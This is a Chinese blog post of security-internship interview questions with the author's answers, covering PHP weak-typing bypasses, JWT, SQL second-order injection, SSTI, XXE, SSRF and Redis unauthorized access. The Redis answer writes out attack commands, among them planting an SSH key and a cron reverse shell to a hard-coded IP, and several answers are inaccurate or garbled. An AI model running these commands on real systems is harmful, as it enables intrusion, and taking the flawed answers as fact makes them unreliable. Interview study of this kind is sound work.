网安小厂面试题整理回顾含答案(1)

这是我第一次投暑假实习简历的面试题,小厂目前一面已过,还是有比较高的参考性。哦对了,文章最后面还有几个问题我没有解决,所以分享出来,求助大家帮我回答下呢
之后我会通过别人的面经来学习,通过别人被问的问题来学习并总结答案和大家分享

“ ` ”符号在sql中的作用是什么?

select id,name from user;给查询的字段和表名加上这个符号,能提高sql查询效率。还有就是如果你的表里字段含有关键字的,用这个符号包起来就不会报错啦。

“ ` ”符号在php中的作用是什么?
PHP中没什么印象,但在bash里是执行命令,获得返回值。

php中,单双引号从安全角度的区别是什么?
一般情况下两者是通用的.但双引号内部变量会解析,单引号则不解析.
单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。

Php中弱类型会引起什么问题?
在PHP中遇到数字与字符串进行松散比较()时,会将字符串中前几位是数字且数字后面不是”.",“e"或"E"的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。
"."为浮点数的标志,会将字符串的子串转化为浮点数。
"e"和"E"为科学计数法的标志,将字符串的子串转化为科学计数法。
所以比较出错。

hash比较操作符问题
出现xex模式的时候代表科学计数法,比如1e3=1*10三次方,在进行比较运算时,
如果遇到了0e\d+(意思就是0e就是0e,d+的意思是后面全部是数字)这种字符串,就会将这种字符串解析为科学计数法。
所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等

十六进制转换问题
php在接受一个带0x的字符串的时候,会自动把这行字符串解析成十进制的再进行比较,
0x1e240解析成十进制就是123456,并且与字符串类型的123456和int型的123456都相同。

布尔值转换问题
布尔值可以和任何字符串相等
1、字符串和数字比较,字符串会被转换成数字。
2、混合字符串转换成数字,看字符串的第一个。
3、字符串开头以xex开头,x代表数字。会被转换成科学计数法(注意一定要是0e/d+的模式)。但是也有例外如:-1.3e3转换为浮点数是-1300。
4、0x开头的字符串会先解析成十六进制再进行比较
5、布尔值跟任意字符串都弱类型相等。

php内置函数的参数的松散性
主要意思就是php内部函数在调用时给函数传递函数无法接受的参数类型但是却没有报错的情况

json绕过(这个不符合松散型)
JSON概念很简单,JSON 是一种轻量级的数据格式,他基于 javascript 语法的子集,
即数组和对象表示。由于使用的是 javascript 语法,因此JSON 定义可以包含在javascript 文件中
,对其的访问无需通过基于 XML 的语言来额外解析。

MD5 ,sha1绕过
这俩都是加密函数,分别进行的时给字符串进行MD5加密和计算字符串的 SHA-1 散列。
但是这个函数都有着缺陷,就是不能处理数组。
这样就很容易绕过了

switch绕过
缺陷原理相同,绕过姿势相同,
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。

strcmp绕过这个时候程序输出的是,类型转换的i,结果为3返回flag
strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,stringstr2 ),
需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。
strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

array_search()、in_array()绕过
array_search() 函数在数组中搜索某个键值,并返回对应的键名。in_array() 函数搜索数组中是否存在指定的值。
基本功能是相同的,也就是说绕过姿势也相同。Array系列有两种安全问题,一种是正常的数组绕过,一种是“= =”号问题。
先讲第一个数组绕过。

第二个 “= =”的问题
在PHP手册中,in_array()函数的解释是bool in_array ( mixed needle,arrayhaystack [, bool strict=FALSE]),
如果strict参数没有提供或者是false(true会进行严格的过滤),那么inarray就会使用松散比较来判断needle是否在$haystack中。
当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

php远程文件包含的触发,需要php.ini开启那两个参数
在php程序中包含有file inclusion的时候,php要开启一下两个功能:
allow_url_fopen on
allow_url_include on

描述一下JWT是什么?
JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,
由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性。
Token里可以包含所有必要的信息,这样服务端就无需保存任何关于用户或会话的信息了。
JWT可用于身份认证,会话状态维持以及信息交换等任务。

JWT由三部分构成,分别称为header,payload和signature,各部分用“.”相连构成一个完整的Token
由于Header和Payload部分是使用可逆base64方法编码的,因此任何能够看到令牌的人都可以读取数据。
要读取内容,您只需要将每个部分传递给base64解码函数

Cookie和session的区别是什么?
1.co oki es:是针对每个网站的信息,每个网站只能对应一个,其他网站无法访问,这个文件保存在客户端,每次您拨打相应网站,浏览器都会查找该网站的 cookies,如果有,则会将该文件发送出去。
cookies文件的内容大致上包括了诸如用户名、密码、设置等信息。
2.se ss ion:是针对每个用户的,只有客户端才能访问,程序为该客户添加一个 session。
session中主要保存用户的登录信息、操作信息等等。此 session将在用户访问结束后自动消失(如果也是超时)。
3.存储数据的大小不同,一个 cookie存储的数据不超过3 K; session存储在服务器上可以任意存储数据,但是,当 session存储数据太多时,服务器可选择进行清理。
4.有效期不同
通过设置 Cookie的属性,开发 Cookie能够长期有效
因为 Session依赖于一个名为 JSESSIONID的 cookies,而 CookiJSESSIONID的过期时间默认为-1,只需关闭该窗口,因此 Session将无法达到长期有效的效果,
即使不依赖于 Cookie,使用 URL地址重写也不能完成,因为如果设置 Session时间过长,服务器累积的 Session就会越多,所以 Session就越容易导致内存溢出。

描述一下什么是同源策略?
如果两个页面(接口)的协议、域名、端口号都相同,我们认为他们具有相同的源
同源策略就是浏览器的一个安全限制,它阻止了不同域之间进行的数据交互
安全限制具体都组织了那些东西不可以被访问?
1.无法读取非同源策略下的cookie、localstorage
2.无法解除非同源的dom
3.无法向非同源的地址发送ajax请求

描述一下sql二次注入漏洞的原理?
普通注入:
(1)在http后面构造语句,是立即直接生效;
(2)普通注入很容易被扫描工具扫描到。
二次注入:
(1)先构造语句(此语句含有被转义字符的语句);
(2)将我们构造的恶意语句存入数据库;
(3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入);
(4)二次注入更加难以被发现。
举个例子:现在数据库里面有一个账号admin密码admin,然后我重新注册一个账号叫admin’-- - 密码还是admin;
最后我对重新注册的账号admin’-- -修改密码为123456
结果会发现之前的账号admin的密码被修改成了123456
#原语句
UPDATE users SET PASSWORD=‘ p a s s ′ w h e r e u s e r n a m e = ′ pass' where username=' passwhereusername=username’ and password=’$curr_pass’

#插入 payload 后的语句
UPDATE users SET PASSWORD=‘ p a s s ′ w h e r e u s e r n a m e = ′ a d m i n ′ − − − ′ a n d p a s s w o r d = ′ pass' where username='admin'-- -' and password=' passwhereusername=adminandpassword=curr_pass’
#此时 ‘admin’ 后的语句被注释
#真正的生效的语句
UPDATE users SET PASSWORD=’$pass’ where username=‘admin’
#从而达到了修改用户 admin 密码的目的

描述一下SSTI漏洞的原理?
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,
用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,
数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,
模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,
因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

描述一下XXE漏洞原理?
理论上理解:关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。
因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
我的理解是:
system去链接的文件默认是dtd格式的,但是我们可以去链接其他东西,比如说放一个文件读取的链接。

CSRF漏洞的中英文全称是什么?
跨站请求伪造 Cross-site request forgery

SSRF漏洞的中英文全称是什么?
服务器端请求伪造 Server-side request forgery

SSRF漏洞有什么漏洞利用思路?
1.内外网的端口和服务扫描
2.攻击运行在内网或者本地的应用程序
3.对内网web应用进行指纹识别,识别企业内部的资产信息
4.攻击内网的web应用,主要是使用GET参数就可以实现的攻击
5.向内部任意主机的任意端口发送精心构造的pPayload
6.利用file协议读取本地敏感文件

给你单个ip,对它进行全面的测试,说说思路和做法?
参考我的文章:
https://blog.csdn.net/m0_52556798/article/details/123242074?spm=1001.2014.3001.5501
《一次完整的渗透 思路复盘》在 面试重要知识点 专栏

说几个比较出门的漏洞名称以及漏洞编号呢?
与office相关 CVE-2018-0798 Microsoft Office远程内存破坏漏洞
与IE浏览器有关 CVE-2018-8113 Microsoft Internet Explorer安全限制绕过漏洞
CVE-2020-0796:微软 SMBv3 协议RCE复现

想通过sql注入写马,需要被攻击方满足什么条件呢?mysql中可以写入文件的两条指令是什么?这两条指令有什么区别吗?
条件:

  1. 数据库的当前用户为ROOT或拥有FILE权限;
  2. 知道网站目录的绝对路径;
  3. PHP的GPC参数为off状态;
    4.MySQL中的secure_file_priv参数不能为NULL状态。
    两条指令及区别:
    load_file():从计算机中载入文件,读取文件中的数据。
    into outfile:写入文件,前提是具有写入权限

讲一讲redis未授权访问漏洞的利用方式?
Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,
并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等

  1. 利用ssh免密登陆方法获得shell
    如果是想要使用ssh免密登陆方法来获得shell的情况下,首先Redis服务器的root用户目录下需要有.ssh文件,再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。
    如果上述两项都符合要求我们就可以一步一步的向下进行了。
    (1) 生成公-私密钥对
    使用ssh-keygen命令之后一路回车即可。
    (2) 利用Redis未授权访问漏洞
    192.168.63.130:6379> config set dir /root/.ssh/ OK 192.168.63.130:6379> config set dbfilename authorized_keys OK 192.168.63.130:6379> set x “nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kalinnn” OK 192.168.63.130:6379> save OK
    (3)登陆
    但上述步骤都做完之后,我们就可以通过 ssh 命令连接到redis的服务器上了。

  2. 利用linux定时任务反射shell
    定时任务反射shell主要是利用了linux系统的cron定时任务,通过向 /var/spool/cron/root中写入定时任务,来反弹shell。
    处理流程:
    CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root set x “nn* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1nn” save
    之后在本地主机上开放5555端口,侦听反弹的shell。
    nc -lnvp 5555

Sqlmap中的–dbms参数含义是什么?
指定数据库

Xray是哪家公司开发的,脚本语言是什么?Goby是哪家公司开发的?用什么语言编写的?

Xray: 长亭 脚本语言:Python
Goby:没有找到 脚本语言:go语言

印象中哪些漏洞利用过程中使用到了http请求中的put方法?
粘贴键后面触发的shell权限有多大,为什么这么大?
描述一下常用的端口转发实现方式?
描述一下你常用的socks5代理实现方式?
Sqlmap哪个参数可以指定pa’yload类型?
如果遇到了weblogic,你会使用什么工具对他进行漏洞扫描?

  • 7
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
1. Redis是什么?它的用途是什么? Redis是一个开源的高性能、高可用性的键值存储系统,它可以用来存储各种类型的数据,包括字符串、哈希表、列表、集合和有序集合等。Redis通常用于缓存、消息队列、实时数据分析、高速交易和排行榜等应用场景。 2. Redis的优势是什么? Redis的优势主要包括: - 高性能:Redis通过将数据存储在内存中,可以快速读写数据,同时支持各种高级数据结构的操作; - 高可用性:Redis支持主从复制、哨兵和集群等多种高可用方案; - 简单易用:Redis提供了简单灵活的命令接口,易于开发人员使用; - 可扩展性:Redis支持分布式部署,可以通过添加节点来扩展系统的性能和容量。 3. Redis支持哪些数据类型? Redis支持五种主要的数据类型: - 字符串(string):存储一个字符串,可以是文本、二进制数据等; - 哈希表(hash):存储多个键值对,类似于Python中的字典; - 列表(list):存储有序的字符串列表,支持在头部和尾部插入和删除元素; - 集合(set):存储无序字符串集合,支持对多个集合进行交、并、差操作; - 有序集合(sorted set):存储有序的字符串集合,可以为每个元素关联一个分数,支持按照分数排序和范围查询。 4. Redis的持久化机制有哪些? Redis提供了两种持久化机制: - RDB(Redis DataBase):将Redis的数据按照指定的时间间隔或指定的数据变化情况周期性地保存到磁盘上一个文件中; - AOF(Append Only File):将Redis的每次操作记录下来,保存到一个只追加的日志文件中,以保证数据的实时持久化。 5. Redis的缓存淘汰策略有哪些? Redis提供了五种缓存淘汰策略: - LRU(Least Recently Used):淘汰最少被访问过的数据; - LFU(Least Frequently Used):淘汰最不频繁被访问的数据; - TTL(Time To Live):淘汰已经过期的数据; - Random(随机算法):随机淘汰一些数据; - Noeviction(不淘汰):不淘汰数据,但是当内存不足时,新写入的数据会导致写操作失败。 6. Redis支持的主从复制有哪些优缺点? Redis支持的主从复制有以下优缺点: 优点: - 提高了Redis的整体读取性能,通过添加从节点分担主节点的读取压力; - 增强了Redis的高可用性,当主节点发生故障时,可以通过从节点自动晋升为主节点继续提供服务。 缺点: - 在主从复制的过程中,主节点的写入性能只受限于主节点自身的速度; - 从节点是异步复制,可能存在读旧数据的情况,造成数据不一致。 7. Redis的集群模式有哪些? Redis的集群模式主要有两种: - 软件(客户端)分片模式:客户端使用一致性哈希算法将数据分配到多个节点上; - 硬件(Redis)分片模式:使用Redis Cluster模块实现多个节点之间的数据分片和复制,并进行故障转移和自动重新平衡。 8. Redis的事务支持有哪些? Redis提供了事务支持,通过MULTI命令开启一个事务,之后可以依次执行多个命令,并通过EXEC命令提交这些命令。Redis还提供了以下三个命令: - WATCH:监控一个或多个键,如果这些键在执行事务期间被修改,则事务执行失败; - UNWATCH:取消对所有键的监控; - DISCARD:取消事务,撤销所有未提交的命令。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值